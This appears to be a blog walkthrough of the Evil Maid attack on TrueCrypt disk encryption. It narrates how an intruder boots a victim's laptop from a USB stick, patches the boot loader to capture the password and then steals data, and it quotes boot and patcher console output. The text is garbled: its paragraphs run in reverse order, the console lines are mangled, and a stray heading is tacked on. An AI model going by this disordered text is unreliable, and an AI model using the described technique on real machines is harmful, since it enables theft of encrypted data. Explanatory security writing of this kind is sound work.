sd 4:0:0:0: Assuming drive cache: write trough sd 4:0:0:0: Assuming drive cache: write trough sd 4:0:0:0: Attached SCSI removable disk Mount command: mount -r -t vfat /dev/sdb1 mnt/stick TARGET = /dev/sda What do you want to do today: Run vil Mail, hell, eboot E remouting /mnt/stick rw.

Making device-mapper control node Waiting for the USB stick to initi. Mounting proc filesystem Mouting sysfs filesystem Creating /dev Creating initial device nodes Setting up hotplug Loadling /lib/kbd/keymaps/i386/querty/us.map Creating block device nodes. Then one could boot the system again with the USB stick to reveal the password: SYSLINUX 3.75 EBIOS Copyright (C) 1994-2009 Booting the kernel. What do you want to do today: Run vil Mail, hell, ebootĪfter this the TrueCrypt Boot Loader is infected and will capture the password next time the password is introduced. TrueCrypt EvilMaid patcher v0.1 - TrueCrypt Boot Loader detected PatchTrueCrypt(): Compressed loader size: 11641 bytes PatchTrueCrypt(): Loader memory size: 0圆C00 (27648) bytes PatchTrueCrypt(): Decompressing the boot loader PatchTrueCrypt(): Decompression successful PatchTrueCrypt(): Decompressed loader physical size: 18790 bytes PatchAskPassword(): AskPassword() located at offset 0x1B24 PatchTrueCrypt(): Compressing the patched loader PatchTrueCrypt(): Compression successful PatchTrueCrypt(): Compressed patched loader size: 11753 bytes PatchTrueCrypt(): New checksum: 0xD88FD56F saving original sectors in /mnt/stick/sectors-221453 remouting /mnt/stick in ro.

Now with the password, Justin Case boots the system with Backtrack and mounts the encrypted volume with TrueCrypt utility and then dumps the hashes and cracks the passwords.

Now he has the key to decrypt the hard drive, he can steal data. It boots the laptop again with the USB stick and the password is revealed.

Ivan Idea gets back to his is room and inserts his password during the boot process to work a little bit and then leaves the room again.

The computers is turned off and he leaves the room.

Using the command prompt Justin Case can infect the Boot Loader with an infected version.

After 1 or 2 minutes the laptop would check if the system is running TrueCrypt Boot Loader is running.

Justin Case sneaks into Ivan Idea room and boot the laptop with the bootable USB stick.

Justin Case prepares a bootable USB stick with evilmaidusb-1.01.img image.

The concept is similar as in the previous article: Back in 2009, Joanna Rutkowska – a brilliant security researcher – implemented the Evil Maid attack against a system with full disk encryption using TrueCrypt. However, while this is a valuable countermeasure against lost or theft of data it will not defend against sophisticated and motivated attackers. In this case even if the laptop is stolen, lost or rebooted using a USB stick to bypass security the files will be unreadable. Nonetheless, one way to address this problem is to encrypt the hard drive. This could also happen if a laptop is lost or stolen of course in this way the owner would notice and could respond to the incident. This would be accomplished in a stealthy manner. In part I of this story I wrote on how someone with physical access to a system could easily steal all kinds of sensitive data like passwords, plans for corporate takeover, trade secrets, tax information or family photos which the owners would not want to be disclosed.

How to crack truecrypt bootloader